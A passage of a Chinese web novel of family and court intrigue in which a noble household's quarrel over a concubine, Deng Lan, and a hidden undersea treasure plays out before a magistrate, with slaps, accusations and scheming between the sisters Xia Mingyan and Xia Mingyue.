虽然他对夏明嫣无意,从前也没想过娶这个从卢阳来的土丫头,听说夏家的祖宅一直是二房住着的,那二房的日子过得就像土财主似的,他怎么能甘心娶这样一个女人。 可是毕竟夏明嫣是跟他有过婚约的,而且夏明嫣也是夏家的嫡女,所以即便他从来没想过娶她,当她嫁给华靖离的时候,他心里也有过一种或许可以被称为夺妻之恨的痛感。 严格来说,这种感觉说是“夺妻之恨”并不恰当,应该是他因为比不过华靖离而产生的不甘和不忿,可是现在不一样了。 夏明嫣嫁进华家之间不仅悉心照料华靖离,动用杨氏的关系把华靖离治成了如今这般模样,还上能和睦公婆,下能友爱弟妹,甚至连下人都被她收拢了不少。 赏花宴上,她牵头各家各户给护城河治理腾出地方,更是让华靖离都受到了朝廷的嘉奖。她那些个生意,不仅让元京贵女和那些夫人们都与她交好、都得到了好处,还给华家军的退军们和他们的家眷们安排了之后的生计。 这可是大功德,华家人原就在华家军中得人心,现在夏明嫣把这些人家眷都安置好了,让大家的日子都富足起来了,这些人对华家人只会更加忠心,上了沙场敢不用命? 不仅如此,元京可不止一家军侯府,其他那些个府邸,自己不方便做这些事的,甚至有人在夏明嫣的生意上了投了钱财、做了捐献,让他们把自家退军里的那些家眷一并安抚了。 华靖离不仅没因为这次重伤而弱了声名,如今反而声名更盛,而且不是从那种战功彪炳、功高震主的名声。 现在大家都说华侯成婚之后变得柔和、体贴了,或者他本身就是一个外刚内柔的人。 还有的人说,华侯现在由着自己的夫人做这样的事,他大概是要准备退下来了,之后他大概便会如他的父亲华叶峰那般去屯田,去抚慰民生,不会成天打打杀杀、握着兵权不放了。 这些事儿要是让华靖离自己派人去做,怎么也不会这么细致,可是夏明嫣只那么轻轻松松地安排下去,就安抚了人心,转变了华靖离和整个钩翊侯府在朝野之间的形象。 从前人们都说华靖离功高震主,这一回借着他重伤,圣上必定会收回他手上的兵权,可是现在呢? 宫里一点动静都没有,就是圣上都说他稳重了,知道体贴家人和百姓了,对他更加优容了。这一切,能说跟夏明嫣没有关系吗? 当然不能了! 李玦在这一刻忽然后悔了,或许当初夏家答应把夏明嫣嫁给他不是一件坏事,至少夏明嫣不会闹得他家宅不宁、鸡飞狗跳,更不会在公堂之上亲自动手追打他的母亲! 要是夏明嫣是他的妻子,他现在还至于走到这一步吗? 夏明嫣是个稳重的人,她会为了跟自己妹妹斗气就私自为他运作书院擢选吗?她会跟家里的亲戚处不来还恶语相向吗? 就算夏明嫣知道了他跟邓澜之间的那点事,会这般不管不顾地在公堂之上让他全家没脸吗? 第319章死的说成活的 要是同样的事发生在夏明嫣身上,就算回去之后有诸多算计,至少这样的场合里她会选择大局为重,断然不会像夏明月这样胡搅蛮缠、撒泼打人。 李玦这时候甚至想到了何雨萍、邓澜甚至还有单纯只是他表妹的栗羡鱼和白玉凤,这四个人都从小与他一起长大,更是过渡过难关的,一时间他竟然觉得她们都比夏明月要强上许多。 要说夏明月背后有夏、楚两家,可这两家人对他的支持都不是不求回报的,而且无论是夏庸还是楚霆孝都更乐于看到他自己成长起来,都只愿意在关键时候给他一些提点,却不愿意对他和端侯府大包大揽。 其实这样的做法,从一个父亲和外祖父的角度来看是没什么问题的,谁愿意自己的女婿、外孙女婿是只会依靠别人的废物?他们当然愿意让李玦自己成长起来。 可是从李玦的角度来看却不是这么回事,他从小到大已经活得够累的了,哪里还愿意多受一点苦楚,他恨不得现在就封王拜相,再有人把一支全新而完整的李家军送到他面前! 李玦娶夏明月之前,想的就是成婚之后能过上这样的日子,没想到夏庸和楚霆孝并没有主动帮她做什么,夏明月倒是主动帮他了,可是帮的地方都不对,这样的忙还不如不帮! 他现在甚至都有点害怕夏明月再帮他什么了,因为她做的事儿其实是在楚、夏两家的人情,她用了人情,可这人情对他的作用不大,甚至还起到了不好的人情,这样的忙还不如不帮。 夏明月跟何夫人打完,自己的样子也没比何夫人好多人,此刻面红耳赤、披头散发地站在那里喘着粗气。 李玦只觉得站在他眼前的是一个疯妇,或者说夏明月原本就是这样的,是她自己和夏家骗了他。 他抬起了手,在众人都没有留意的情况下一巴掌扇了过去,打得夏明月半边嘴角流出血来: “你这个疯妇,你咆哮公堂、殴打婆母、不敬夫君,夏家是怎么教得你!我和母亲是有错,可绝到不了这般地步,值得你如此?” “夏明月,你给我听好了,你与我青梅竹马,初谈婚约时我们是因为夏家竟要将你长姐嫁过来而心生恼意,的确想过退亲。可因为那时我即将大婚的消息已经传了出去,我若退亲,就必须再娶一门亲。” “母亲这才想到了邓氏表妹,我们是曾议过亲,可是后来在岳母登门商讨换亲之后,那门亲事就作罢了。要是这么说起来,你还曾经与我义兄写过婚书呢,我是不是也该怪你?” 他不仅训斥了夏明月,还借此为何夫人求情,“还请张大人明察,家母为何会私藏孩子,害死吕大姑娘,就是为了这门亲事,皆是因为因为夏明月逼迫太紧。” “吕大姑娘过世之时,家母尚且以为我要娶的是夏明月,她担心这件事被人知晓之后会像眼下这般闹起来,才出此下策。” “张大人,我与夏明月青梅竹马,自认与她情深意笃,是断然不想要这门亲事蒙上污点的。我若提早知道了我与吕大姑娘尚有一子在世,我定然不会如此。” “可家母护子心切,她不想坏了夏家这门亲,更不想夏明月知道之后像如今这般疯癫闹了笑话,这才出此下策,求大人开恩宽宥!” 这番话说的,死的都给说成活的了,听得张礼岁和华靖离目瞪口呆,华靖和这种脑子不大灵光的更是掰着手指一会儿看看这个,一会儿看看那个,那是在算谁对谁错、谁亏谁盈呢。 夏明嫣拽了华靖离的袖管,给他使了个眼色,那意思就是你对李玦的认识还是肤浅了,他就是这么一个真真假假都能是他有理的人。 没错,李玦这番话的高明之处就在于可用于查证的地方都是真的,假的和牵强附会那些不仅不容易查证,还容易让人浮想联翩。 就好比吕大姑娘被害死的时候,两家的确还没有完婚,甚至第一次正式定下婚书的时候还没有到,可是那时的确所有人都以为嫁过去的会是夏明月。 夏明月脾气不好还特别善妒也是真的,那时候要是她知道了吕大姑娘的事儿,两家的婚约还在不在不好说,她一定会到吕家大闹一场。 说不定都不用何夫人动手,夏明月自己就动手了。 从这一点上说,何夫人这么做,当中至少有一重原因是因为夏明月,否则直接把事情透露给夏明月,不仅吕大姑娘被解决掉了,也可以顺理成章地解除婚约。没有这么做,可见还是想要这婚约的。 可后面的话就有意思了,何夫人这么做完全是因为害怕夏明月把事情闹大吗? 当然不是了,这里面最关键的因素还是何夫人爱子心切,不允许李玦身上有一点污点,同时她也视吕大姑娘这样的女子为肮脏、下贱之物,根本容不下她。 这才是关键,否则就凭夏明月那胳膊肘往外拐的能力,只要何夫人跟楚氏说好了,劝上一劝,再把这对儿母子远远地送走了,夏明月就算想把他们怎么样,也没有人会替她这么做! 现在的夏明月还不是十几年后一手跟当朝权贵孙允斌有私情,一手又有陆家来认女的那个孀居侯夫人,她手上什么人手都没有,除了能闹闹脾气,根本干不出什么来。 可是被李玦这么一说,夏明月成了天下第一妒妇了,她嫉妒的程度已经到了能将未来婆母威慑到为她害人性命的地步了。 还有夏家又成了什么人了?夏明月要是出嫁前就是这副样子,硬要说她有疯病也不足为奇,那就成了隐瞒女儿身有恶疾而骗亲了…… 夏家和端侯府之间有那件旧事牵绊着,夏庸和楚氏听到这些话估么着也只能气恼一阵子,不会把他们怎么样。 可是这样的话在不知内情的张礼岁和华靖和耳中,就成了李玦敢拼着得罪自己的岳丈一家都要这么说,他说的定然是真的了! 第320章泼妇癫公 李玦这样的人,他从小就没什么退路,因此到了关键时候,他也不怕得罪人。 而且因为过去几家之间的那件事,他知道即便损了夏家的声誉和颜面,夏庸和楚氏也不会跟他翻脸,他就更加有恃无恐了。 夏明月也不是吃素的,这里面的很多关系她都闹得不甚明白,可从小她就是夏庸和楚氏最宠爱的女儿,有一点她特别明确,就是她不能让人辱没了夏庸和楚氏的名誉。 刚好李玦打了她一耳光,她哪里还顾得了别的,扑上去就对着李玦的脸抓了一把: “你敢打我?要不是我念着旧情,怎么会嫁给你这个破落户?你以为你前面的路就好走吗?你怎么跟上辈子一样蠢?你还有的是苦要吃!” “你总觉得自己怀才不遇,哈,要是没了这些个女人,你能干成什么?表妹,表妹,你那些表妹都比你能干。李玦,你就是个离不开女人裙带的大傻子,你还敢打我!” 就在刚刚,夏明月已经两次说错话了,先是说李玦又要娶邓澜,这回不仅说李玦跟上辈子一样蠢,关键是这辈子直到目前他最多就是接受了何雨萍的一些帮助,其他的表妹都还没来得及帮他呢。 在场的除了夏明嫣和华靖离知道是怎么回事,别人都不知道,而夏明嫣和华靖离也得装作不知道,因为他们一旦知道了,他们也会一样变得可疑的。 因此所有人都用奇怪的眼光看着夏明月,尤其是夏明嫣和华靖离,他们两个嘴张得都能塞进一颗鸡蛋去。 李玦被打了,脸上火辣辣的疼,不用照镜子都知道脸被抓破了,他的脸可跟别人的不一样,这可是他吃饭的家伙,他还指望着这张脸为他获取更大的利益呢,这个蠢婆娘! 李玦心里气得厉害,却又要捡起刚刚暂时放下的君子防范,他顾不得其他了,直接把何夫人推到身前挡着: “夏明月,你莫不是真有疯病,什么上辈子,你在胡说什么?除了何小娘,我跟其他的表妹都清清白白的,我何尝让她们为我做过什么?” “你把我当作顺着女人裙带往上爬的轻浮之徒,你也不看看你们夏家,你父亲何尝不是靠着女人裙带爬上去的,不然就凭他,能坐上兵部尚书的位子吗?” “我敢发誓,我跟邓家表妹除了议过亲之外,清清白白的,别的什么都没有,我敢发誓!你污蔑亲夫,不孝婆母,我就是休妻,也没人有异议!” 何夫人捂着嗡嗡作响的半边脑袋,语声含糊地给李玦帮腔,大体就是骂夏明月是悍妇的那些话。 李玦哪里敢真休了夏明月,他都知道夏庸这种中庸之徒坐在兵部尚书的位子上是靠楚霆孝扶持了,这样一个人,要是圣上不愿意了,很快就能下去,一直让他在上面坐着,不可能完全是为了顾全楚霆孝的面子,分明就是他还有别的作用。 这样的人反而不是轻易能下来的,既然如此,他根本就不可能完全不靠着夏庸和夏家。 一来,夏庸和夏家、楚家对他的确有用,再者,那些个东西猴年马月才能从海底拿出来,这中间他都需要别的东西给他撑门面,借此告诉世人,他们端侯府没有完蛋,早晚有一天会东山再起,他们识相的话,最好就别太过分了! 他的妻子是兵部尚书的女儿、当朝宰相楚霆孝的外孙女,这就证明了他们端侯府没有败。事 实上,夏明月纵使有千万个缺点,可是不能否认,她是李玦未来至少十年内能娶到出身最好的女性。 李玦根本不会放弃这门亲,他也不觉得自己是在吃软饭,他只是想在吃这碗饭的的时候昂着他高贵的头! 夏明月却不觉得李玦这是在吓唬她,她觉得这是在打压她,让她之后更听何夫人的人话,还得让着他的那些表妹们。 夏明月脸红脖子粗地就差要蹦高了,她差点就蹦出来一句“和离就和离”,就在这句话要脱离她的喉咙的时候,她被夏明嫣从身后猛地拽了一把。 “二妹妹别激动,有话好好说。” 夏明嫣好言相劝,这时候两边都冲动,万一夏明月这么一说,这婚事还真就散了,那可就麻烦了,这样的两个人就该一辈子在一起。 上辈子这两个人直到最后才在一起,之前根本就是天各一方,有句话叫远香近臭,就是因为他们之前并没有真的在一起,反而有了后面那种破镜重圆、苦尽甘来的甜蜜。 夏明月一直想着,要是这一世他们从一开始就在一起了,将来一定会更甜蜜。这样的话,诸如夏明嫣、邓澜这样的人也不会出现在李玦的生活中。 这样夏明月就能完整地拥有李玦这个人了,这一世他们一定会成为百姓口中的美谈,一起开创一番功业。 可是夏明月注定是要失望的,有些感情只是一尊可以远远观赏的玉器,离得近了,有了磕碰,或是周围的环境太过热烈,这瓷器是会裂、会碎的。 而且夏明月一直认为自己比别人都强,她从来没有想过拿自己跟夏明嫣和邓澜比一比,她只要稍微对比一下就会发现,这两个人在李玦身上所求的从来就不是情爱,这两个人都只是不想在李家这艘大船沉没时把她们也一起拖死罢了。 夏明月要的全是穿金戴银、一身绫罗锦缎地站在这艘大船上,路上遇到的风浪都会避开她,她自有上天庇佑,能够风光无限地跟李玦一起迎接未来的美好。 可是这怎么可能呢?那艘大船上每一个能站到最后的人事实上都是满身狼狈、遍体鳞伤的,他们只是到了最后能登上那个位子之前,才换了身体面的衣装罢了。 夏明嫣才不会跟夏明月暗示这些,她就想看看夏明月这辈子按她自己的方式到底能走到哪一步,她得把李玦和夏明月死死地扣在一块儿才行。 于是,夏明嫣趁着张礼岁去训斥李玦和何夫人的时候,对夏明月道, “二妹妹,三思而后行,你要是现在和离了,还到哪儿去做侯夫人?” 第321章你就不拿出点儿诚意来? 夏明月上辈子不肯跟华靖离和离,就是因为那时李玦给不了她名分,而她要是改嫁给别人,或是和离之后等上几年,都未必就能得到侯夫人的名号。 可见,这侯夫人、世子夫人的名号,对她来说是有足够的诱惑的,她不会轻易放弃。 果然,夏明月听了立马冷静了许多,她没觉得夏明嫣这么说有什么奇怪的,官宦人家的夫人自然没有勋贵人家的金贵,这是世人皆知的事。 她反而觉得夏明嫣在为她着想,这没什么好奇怪的,站在她的角度来看,夏明嫣有足够的理由需要讨好她。 夏明嫣继续“安抚”道:“你跟妹夫好不容易才成的姻缘,要是就这么算了,那不是让那些见不得你们好的人高兴了吗?” “父亲间吵嘴,过些日子火气散了,事儿就没了。妹夫也是为了你婆母的事儿着急,才会口不择言。可你得听我一句劝,他们家的这些破事儿咱们不好掺合,可是还是不要落井下石的好,毕竟日子还得过下去。” 夏明嫣一副传统妇人的样子,就差说一句打落牙齿和血吞了,这样反而让夏明月心里不痛快。 夏明月冷哼了一声:“我可不像你那样好欺负,你说,他跟那个叫邓什么的女子,真的除了婚书就什么都没有了吗?” “这……”夏明嫣一副牙疼的表情。 事实上的确没什么男女情爱的事儿,可是邓澜身上的价值同样也是夏明月替代不了的,夏明月和夏家在支持李玦,也没有那笔整个朝廷再过几十年也未必能靠税银赚到的财富来得多。 还有邓澜管家的才能也不错,上下平衡关系的能力更是没得说,她那永远不温不火的脾气,遇到多大的事儿都稳得住,这些都不是夏明月能比得上的。 不过这些对于夏明月来说,可能都没那么重要,她不直说,反而让夏明月觉得他们之间定是有过什么的。 而那敢于闹出来的有时候反而没有那么可怕,那些不声不响地反而更可怕,就像那个吕大姑娘,这不就凭空蹦出来一个儿子来,这认回来可就是庶长子了,谁知道那个邓澜手里有什么。 尤其夏明月心里清楚,上辈子邓澜就是李玦的正妻,那么一个一口气儿都能吹倒的人,父亲好像还是一个把家业败光了的醉鬼,这么一个人即便跟身世被泼了脏水的夏明嫣比,也是比不上的。 毕竟即便夏明嫣真是沈小娘所生,她也是尚书府的庶长女,那邓澜有什么?能成为李玦的正妻很难不是他们婚前就有了首尾。 夏明月咬牙切齿地说:“你说,不要瞒着我,他们到底到哪一步了?你要是不说,我就不认你这个长姐了!” 何夫人整理着头发,指着夏明月道:“你是不是疯了?这么盼着自己的丈夫跟别的女子有私情,早知道我就把吕家姑娘接回府去了,让你嫉妒个够!” 李玦则是对夏明嫣道:“嫂嫂,我的好姨姐,你也帮着劝劝她吧。我刚刚说的都是气话,可是她这副样子是容不下任何人了,她这样下去,日子还怎么过?” “我母亲能做出这种事,跟她何尝没有关系?你们夏家也该体谅一下我们的苦衷。也请张大人将这内情上禀大理寺,酌情减轻我母亲的罪责。” 李玦心里头清楚,他之后定是要将邓澜纳进门来做贵妾的,因为只有这样才能将那个秘密守在他们端侯府里。 以前他们也想过想法子从邓父那儿套出那些东西的具体位置,之后就将邓父给处理了,可是他们不久之后就发现朝廷一直派人暗中观察着他们这些个人,要是邓父突然就死于非命了,他们才真的会被怀疑呢。 空切这才一直留着邓父,在海底藏东西,不是口述一个位置就行的,必是要带上当年去过的人一起才能辨别出具体的方位。 那么邓父这个人就必须留下,而邓澜也只有嫁给了他,才能守住这样的秘密。 李玦相信要是夏明月知道这当中的内情,虽然会很不高兴,可还是会认同他的做法的,可惜这当中的缘由她不能告诉夏明月! 这里面有些原因是外人不知道,就好比当年那件大事,那批财物被借海难藏匿,这是端侯府、陆家、楚家、夏家都知道的事,可是另外几家都不知道的是,现在知道那些东西具体位置的人,只有邓澜的父亲。 这些年那些人没有对邓氏父女下手和拉拢的原因也在这里,不然不知道哪家早就把邓澜娶过去了。 之前何雨萍进门的时候,他就想过要不然让邓澜先进门,以免夜长梦多。 可是邓父说了,当初背着夏家定下婚事也不是他们父女提出的,明明是他们端侯府主动的,邓澜本来是要做正妻的,现在一转身就变成了妾室,她不答应。 后来被他们逼得狠了,邓父又说了,要邓澜做贵妾也不是不行,但至少要夏明月过门儿三年之后,这样夏明月和夏家那边也能缓一缓,不至于让她那么针对邓澜。 这桩亲事这才缓了下来,加上那边儿海上那边有些事儿要用上何大舅这边的人,他才先抬了何雨萍进门。 可是今日这么一闹,华靖离和夏明嫣都已经知道有邓澜这个人,就算他们现在还不知道这背后的事儿,万一华靖离真的纳了邓澜为妾,难保日后邓父不会为了唯一的女儿,把那个秘密透露给华靖离。 因此,他决不能让邓澜再跟华靖离他们有牵扯,但是为了安抚夏明月这边,他又不能明着说他非纳了邓澜不可。 夏明嫣既然这一世知道了李玦非娶邓澜不可的原因,又哪里猜不到李玦的这点儿小心思,因此她主动道: “妹夫,你又不是不知道,我这二妹妹最是痴心一片,要不是这些事儿接二连三地刺激到了她,她哪里会在公堂之上如此失态。” “可说到底心病还须心药医,你不想她这样,是不是应该拿出点儿诚意来,把‘病根’给去了?” 第322章总算清醒一回 端侯府如果现在就能把那些宝物拿出来,那么是夏家求着他们,可是那些东西还不知道猴年马月才能见天日呢那么端侯府就还是得求着夏家和楚家。 因此夏明嫣以娘家人的身份维护夏明月,一针见血地道:“既然妹夫自己都说跟这位邓姑娘无甚关系,只是寻常表亲,如今婚约也已经解除了,不如就了断得干净些。 “省得婚约都解除了,婚书还留在人家手里,也不知道这是还想做什么。刚好这个人我们家瞧上了,她自己也愿意,就让她到钩翊侯府做个贵妾吧。” 邓澜家业败落,但身份上依然是武将家的姑娘,要想把她要过来,助她脱困,还能为他们所用,婚嫁是唯一的法子,也是邓父能信任的唯一方法。 邓父不放心夏明月,担心她往死了欺负邓澜,可是因为安置退军家眷的事,他很信任夏明嫣。 之前邓澜回家合计的时候,邓父就已经说了,不用等了,只要这边过了明路,立刻过门儿。 说白了,对于邓氏父女来说,这根本不是在为女儿安排婚事,他们需要的是一个可以保命的联合。 李玦的脸都在抽抽,他当然不能同意让邓澜嫁给华靖离,可要是邓澜和邓父都答应了,他还真没有理由同意,他只能道: “表妹她……身子弱,大概无法为华家承担开枝散叶的重担,嫂嫂还是换一个人选比较好。况且表妹她的婚事应该跟我母亲商议,她自小没有了母亲,是我母亲照顾着她长大的,她父亲常年酗酒,做不得主……” “哪条律法规定姨母照顾了外甥女长大,就能越过她的亲生父亲,给她的婚事做主了?” 夏明嫣笑了笑,大恒律例有规定,就算是双亲不作为,由亲眷抚养长大的,除非是同姓的亲族,比如说祖母,否则就算要越过亲生父母,也是要经过其亲族的族长的。 邓澜她姓邓,不姓何,也不姓李,就算她从小到大的衣食住行都何夫人给的,婚嫁大事上也得争得邓氏族长的同意。 邓氏的族长在原籍地,根本不在元京,邓父已经很明确地说了,何夫人压根就不知道如今的邓氏族长是谁, “何况我们家找过邓家周围的邻里了,何夫人只是偶尔会叫邓姑娘出去吃茶,并不能说是真正抚养过她,她的婚事还得有她的父亲和邓氏的族长做主。” “邓姑娘身子弱,不过没关系,现在除了宫里,就属华家的名医多了,连我夫君都治得好,相信邓姑娘调理上几年,一样能好了。” “何夫人,妹夫,你们只管放心,邓姑娘过了门儿之后,我定当像对亲妹子一样对待她。你们要是还想尽一份亲戚之义,那边备一份嫁妆给她就是了,这样一定没人会说你们的闲话。” 何夫人在边上听着彻底急了,她捂着肿了的脸道:“不成,好好的姑娘,怎生到你家做妾?她是我的外甥女,要嫁也得做正妻。” 夏明嫣微微一笑,话里带着暗示地道:“原先是定了给妹夫做正妻的,可如今呢,难不成妹夫还真能和离娶她?我不知道何夫人到底持仗了什么,以为我们夏家会一直对你们的这种行径忍气吞声。” “可兔子急了还咬人呢,你们那些个不能说的事儿终究是过不了明路的,夏家真要较真,以后怎样不知道,眼下吃亏的定是你们。” “还是说何夫人想把邓姑娘许给别家子弟?这户子弟姓甚名谁,可别又是一桩缓兵之计,根本就没有这么一个人,就是想着等眼下的事情过了,再抬进你们端侯府去做个贵妾,给我这傻妹妹再添一个姐妹呢。” 她美眸一瞪,声音一厉,“何况何夫人你没有权力做邓姑娘的主,邓家那边我已经问过了,他们父女俩也无须您来做主。您还是想想自己身上的官非吧,难不成您还真想让妹夫纳两个表妹为妾不成?” “两个表妹都做妾,家里还住着另外两个表妹,外人会怎么看?谁不会以为我这妹夫有娶表妹的癖好?何况到底都是他的表妹,这得是有多么歹毒的心肠,让这么多好人家出身的亲戚家的姑娘都给你们府上做妾呢!” 夏明月头一次觉得有夏明嫣这样一个姐姐也挺好的,这一番话说完,何夫人和李玦的脸都白了。 事情本来就是这样,可只有夏明嫣在公堂上会如此说,她条理清晰、逻辑鲜明,夏明月都要给她拍手叫好了 夏明月头一次如此拥护这个长姐,她这会儿头发已经整理好了,指着还形容狼狈的李玦和何夫人道: “就是这样,我长姐说中了你们的心事了,对不对?你们迟迟没有收回婚事,分明就是在等着以后也把她纳进府,你们居然还敢骗我!” “我不管你们跟何小娘的亲事原先是怎么说的,她进门,都没有事先征得我这个正妻的同意。你们把她纳进门,还算有些理由。这位邓姑娘,我刚才想起来是谁了,似乎就差家徒四壁了吧?” “这样的人你们都能看的上,还有婆母你,你居然还时不时地叫她去吃茶,天知道你们之间在密谋什么,该不会是要让她进了门就害死我吧?” “婆母,别跟我说你就是喜欢她,才时常见带她出去的。你这个人骨子里唯利是图,要是她不能给你什么好处,她就是年过半百了,您都未必想得起她来。” 说罢,夏明月就指着何夫人疯狂大笑了起来,她看着李玦则是满眼地警告,就差吼出一句,你有本事就再纳一个表妹试试! 夏明月总算说到点子上一回,夏明嫣都在心里夸她:“我二妹妹已经表态了,你们说吧,这事儿如何?你们应是不应?不应的话,也不必在这儿让我劝二妹妹了。” “我一个出嫁女,自然是劝不着的,还是回去让父亲、母亲评评理吧。哦,对了,还有楚家的两位舅父,那也是很疼爱二妹妹的,不然也不会由着她那擢选这事儿胡闹。” 第333章他不松手 楚家那两位舅父要是不疼夏明月,根本不会在蹚书院擢选这趟浑水。 擢选这件事夏明月的确给办砸了,可正因为她办得不好,这么糟糕的事儿这两位舅父还肯插手,不怕坏了自己的名声,足见他们对夏明月的疼爱。 要是李玦赌气跟夏明月和离,他就必须承担夏、楚两家的怒火,他显然承受不起。 李玦感觉到自己的嘴都在哆嗦,他皮笑肉不笑地道:“嫂嫂就这么热衷于为义兄纳妾?” 夏明嫣笑了笑,特别地贤良大度:“这不是他瞧上了么?与其让他魂牵梦萦,不如纳进府里去,我也乐得多一位聪明、灵秀的姐妹说话。夫君,你说是不是?” 华靖离摆出一副被女色所迷的样子,煞有介事地点了下头: “正是,李世子方才还舍不得你我之间的结义情义,我看不如这样,既然邓姑娘是你的表妹,入我家门,也算是你我之间有了另一重联系,你看如何?” 虽说妾室的的父兄算不得正经亲戚,可这是礼法上的,要说情理上真完全不管那是不可能的。 妾室的表兄无论从礼法还是情理上都跟主家没什么关系,可说出去要说一点关联也没有,那倒也不是,尤其李玦跟华靖离原本还是义兄弟。 这听起来是给李玦一个台阶下了,让他还能通过邓澜这层关系跟华靖离有所联系,只是仔细一想又不对了,他一下子从跟华靖离平起平坐的义弟变成了妾室的亲戚,还只是表兄,这关系完全就不平等了。 可是李玦能放弃这重联系吗?他不能。 这义兄弟的关系一旦了断,还不如从来就没有过呢,毕竟从前要是未曾结拜也没什么,这世上大多数友人都没有结拜过,可一旦先结拜了再割袍断义,这中间就一定发生了什么无法忍受的大事了。 既然如此,要是还能有这么一层关系遮掩着,就说是自己的表妹非要嫁给华靖离做妾,他便不好再做这义弟,以免两边尴尬,这样倒还好些。 只是邓澜不是寻常的表亲,要是华靖离要纳的其他任何一个都行,单单就是邓澜不行。 万一将来邓澜给华靖离生个儿子,邓父觉得华家可以托付一切了,把那个秘密告诉华靖离,这笔钱财就会落到华家甚至朝廷手中,他们端侯府两代人的筹谋可就要功亏一篑了。 李玦自然不愿意把邓澜让出去,可是他又没有说得出口的理由,他看了夏明月一眼,把夏明月和那笔宝藏放在一起掂量了掂量。 他跟夏明月是不可能分开的,大不了回去之后告诉她一些事儿,那么大的诱惑,只是让她容下区区一个表妹,她应该也不会容不下……吧。 李玦硬着头皮、咬着牙道:“义兄……不,华兄,你与我虽不再是义兄弟了,可是昔日兄弟间的情分也总该是有的。我与邓氏表妹是有情意的,她大体是被你问起,不好回绝,才说了些让你误会的话。” “我纳何小娘是为了给母族一个依靠,可跟邓氏表妹是有真情意的,还请华兄不要拆散我们。华兄若要纳妾,我家中还有两个表妹,嫂嫂也是见过的,容貌、性情都不比邓姑娘差,身子也更康健。” “华家急着为华兄繁衍子嗣,就算贵府的医士能治好她,那也是需要时间的。别人也会说我们端侯府为了攀附你们,竟然把一个病弱的表姑娘送过去,这不合适……” 何夫人也道:“是啊,你们不知道,阿澜这孩子从小最是听话、懂事,许下的事就不会变了。你们夫妻何必强人所难?传出去说你们逼良家为妾,这名声也不好听。” “华侯像来英武、清正,实在不必担下这样的骂名。你们要夺我儿的妾室,我儿也不会依从,你们能闹到宫里去,我们纵使没那么大的本事,也能闹到大理寺去,到时候大不了鱼死网破!” 都用上“鱼死网破”这样的话了,可见邓澜对他们来说有多重要。 这时候说什么都是错的,说邓澜不重要,是能安抚夏明月,但邓澜就要进钩翊侯府。 要说邓澜重要,夏明月必然大怒,毕竟在她眼中,邓澜父女身上实在没有什么大的价值,甚至跟何雨萍和何大舅比都比不过,那么李玦能如此看重她的原因就只剩下这两个人早有私情了。 李玦说完那些话,就一个劲儿地朝夏明月使眼色,凭他们两个人的默契,夏明月定然能明白,那是“有话回去再说”的意思。 可是夏明月连着几次都是坏在了这个“回去再说”上,每次回去,楚氏和夏庸都会劝她,说她已经嫁人了,很多事儿都得忍。 于是,她每次忍完都很憋屈,尤其这次还不一样,现在是在公堂之上,她要是在这儿忍了,她说的做的就都被定了下来,回去之后她连反悔的机会都没有。 打从刚才李玦和何夫人表示要纳邓澜开始,夏明月就在一边算,她想看看李玦和邓澜是什么时候开始有私情的,这两个贱人到底瞒了她多久。 她指着李玦的手指不停地在空中点着:“你……你这个负心薄性之人,你们什么时候在一起的?该不会是两年前吧。他们说的没错,你们早就想要悔婚了。” “说是一开始定下的如果就是我,你们就不会想要悔婚了,都是屁话。谁知道你们心里掂量了几遍,最后还是看我有些用处,才把那个邓氏推下去了。” “你跟她有过婚约,她进了门,还能把她单纯地当个妾室看吗?你们就是看准了我好欺负,等她进了门了,定是要她骑在我头上的。” “我不活了,但我也不让你们好过,我跟你们拼了……” 夏明月一身牛劲儿,说着就往上冲,眼看着三人又要打起来,这回张礼岁有了准备,刚才就从后头的牢房里喊了两个嬷嬷过来。 这两个嬷嬷眼明手快地把夏明月和何夫人都架住了。 第324章大局与她无关 夏明嫣真恨不得这两个人能再打一架,可是为了借机让夏明月开始相信她,她只能劝着,还帮着夏明月质问何夫人: “你们这还真是欺负上我们夏家了,这是公然承认妹夫跟邓姑娘有私情了?你们可别忘了,当时夏家可从未说过与妹夫定亲的不是我二妹妹,还没做任何对不起你们的事呢。” “妹夫找的那些说书匠可不止说了我夫君和他的兄弟情义,不是也有不少人说他跟我二妹妹青梅竹马、情深意笃,就是父母之命都不能把他们分开吗?你们就是这么地情深意笃的?” “一脚踏两船这种事儿不足为奇,可要是谁一面在说自己从一而终,一面又在跟别人有染,那可不就成了伪君子了?要说妹夫是侯府的世子,不论成没成亲,身边有几个妾室、通房,倒是也没什么,可二位别忘了,这邓姑娘可是曾经跟妹夫定过亲的。” 要是个妾室、通房倒也罢了,这时候很少有人把男子和妾室、通房的感情跟他与正妻的对比,这两者是不一样的。 可要是这两个人定过亲,还跟他和正妻交往的时间重合了,这可就不一样了。 也难怪夏明月会生气,就算李玦再挤眉弄眼地使眼色也没用,这要是认下了,她以后在端侯府都难抬起头来。 夏明月冷笑道:“想让我给那个贱人腾位置,门儿都没有!李玦,你挺好了,只要你还想要我们夏家帮忙,就别让那个女人进门,否则,别怪我让你后悔!” “明月,就算邓氏表妹进了门,我也依然会对你好的。还有,她跟何小娘向来不对付,性情倒是能跟你合得来,你允了我这一次,我李玦感激你一辈子!” 李玦不停地向夏明月使眼色,还向她行了礼,他跟夏明月是有默契的,往常他这样,她一定能明白他这是遇到重要的事了,眼下必须应下。 可夏明月不仅正在气头上,几次所谓的顾全大局之后,她已经发现了,李玦所谓的“大局”未必有多大,就算是件大事,也很可能跟她没关系,好处都是他跟何夫人的,跟别人没有关系。 邓澜毕竟是一个女子,她什么能多大的大局?夏明月根本就不信,现在说夏明嫣身上有大局都比说邓澜有更能让她相信。 再者,夏明月刚才突然想到一件事儿,上辈子端侯府的中馈好像就是交到了邓澜手里的,而且那时候夏明嫣都对这人赞不绝口,还说何夫人对这人甚好。 上辈子其实夏明月对夏明嫣也不算太熟悉,她们两个在夏家共处的时间也就半个多月,成婚后二人只是月余光景才在夏家见上一面,之后她就被关进了家庙。 要是这时候有人在她旁边引导着她一步步地去分析夏明嫣到底是个什么样的人,她就会发现,上辈子的夏明嫣之所以会依附邓澜,不是因为夏明嫣太弱,而是因为邓澜太强。 这世上有一种厉害的人表面如水般的柔和,内心却如铁一般坚强,而且这铁还很可能是块儿磁铁,它能让任何一派的人都被它吸引,并由它引着一起合作。 邓澜就是一个有这种磁性的人,这也正是她的强大之处。 夏明月无从了解这一点,好在她看在邓澜掌管端侯府中馈这一点,先就认定了何夫人对这个人异常偏袒,让这样的人进了门,她就更难讨到好处了,也算异曲同工了。 